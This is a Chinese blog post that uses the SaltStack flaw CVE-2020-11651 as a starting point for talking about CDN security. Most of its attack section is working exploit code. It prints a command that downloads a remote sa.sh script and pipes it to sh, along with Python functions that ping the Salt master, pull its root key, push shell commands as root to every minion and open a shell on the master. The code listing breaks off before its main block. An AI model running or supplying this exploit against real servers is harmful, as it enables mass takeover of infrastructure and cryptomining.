【干货】通过SaltStack漏洞这个药引子,聊聊CDN网络安全防护

优采云 发布时间: 2021-07-16 04:17

  

【干货】通过SaltStack漏洞这个药引子,聊聊CDN网络安全防护

  

  前言

  今天通过SaltStack漏洞的介绍,来聊聊CDN网络安全防护的话题。先说CDN的定义:Content Delivery Network,内容分发网络,它给用户带来的价值,加速静态或动态内容的获取,典型应用场景,软件安装在360安全卫士,后台使用的CDN网络例如,在流行的抖音短视频中,用户在某处上传视频后,数亿用户可以快速看到。很难想象,如果这个短视频在服务器上,几千万人可以同时观看。下载,网络拥塞延迟多少?

  我们来谈谈 SaltStack,它是服务器基础设施的集中管理平台。它可以在几分钟内启动并运行。速度极快,服务器间通信秒级,扩展性好,轻松批量管理数万台服务器。 ,显着降低人工和运维成本。它是puppet的简化版,saltstack基于Python语言实现,结合轻量级消息队列(ZeroMQ)、Python第三方模块(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack和PyYAML等)构建,SaltStack是一套C为/S架构的运维工具,服务端口默认为4505/4506。如果这两个端口都对外开放,危害很大。

  目前,大多数商业 CDN 都使用 SaltStack 作为软件分发系统。黑客可以利用SaltStack的远程命令执行漏洞CVE-2020-11651直接绕过Salt-Master认证机制,调用相关函数向Salt-Minion发出指令执行系统命令,最终导致挖矿。

  攻击详情

  

  1、通过网络空间搜索引擎等获取外网开发SaltStack master的主机列表

  2、 通过 cve-2020-11651.py 批量执行,下载 sa.sh 脚本。获取主密钥后,该命令将在几分钟内传输到连接到 CDN 服务器的客户端。 *山云大约有数千台机器以这种方式感染。 (curl -s x.x.x.x/sa.sh||wget -q -O- x.x.x.x/sa.sh)|sh

  定义 ping_master():

  print("Attempting to ping master at "+master_ip)

try:

msg = {"cmd":"ping"}

response = clear_channel.send(msg, timeout=3)

if response:

return True

except salt.exceptions.SaltReqTimeoutError:

return False

return False

  def get_rootkey():

  try:

response = clear_channel.send({'cmd':'_prep_auth_info'}, timeout=2)

for i in response:

if isinstance(i,dict) and len(i) == 1:

rootkey = list(i.values())[0]

print("Retrieved root key: " + rootkey)

return rootkey

return False

except:

return False

  def send_command_to_minions(command):

  print("Sending command to all minions on master")

jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())

cmd = "/bin/sh -c '{0}'".format(command)

msg = {'cmd':"_send_pub","fun":"cmd.run","arg":[cmd],"tgt":"*","ret":"","tgt_type":"glob","user":"root","jid":jid}

try:

response = clear_channel.send(msg,timeout=3)

if response == None:

return True

else:

return False

except:

return False

  def master_shell(root_key,command):

  msg = {"key":root_key,

"cmd":"runner",

'fun': 'salt.cmd',

"kwarg":{

"fun":"cmd.exec_code",

"lang":"python3",

"code":"import subprocess;subprocess.call('{}',shell=True)".format(command)

},

'jid': '20200504042611133934',

'user': 'sudo_user',

'_stamp': '2020-05-04T04:26:13.609688'}

try:

response = clear_channel.send(msg,timeout=3)

print("Got response for attempting master shell: "+str(response)+ ". Looks promising!")

return True

except:

print("something failed")

return False

  if name=="main":

<p>if len(sys.argv)

0 个评论

要回复文章请先登录注册


官方客服QQ群

微信人工客服

QQ人工客服


线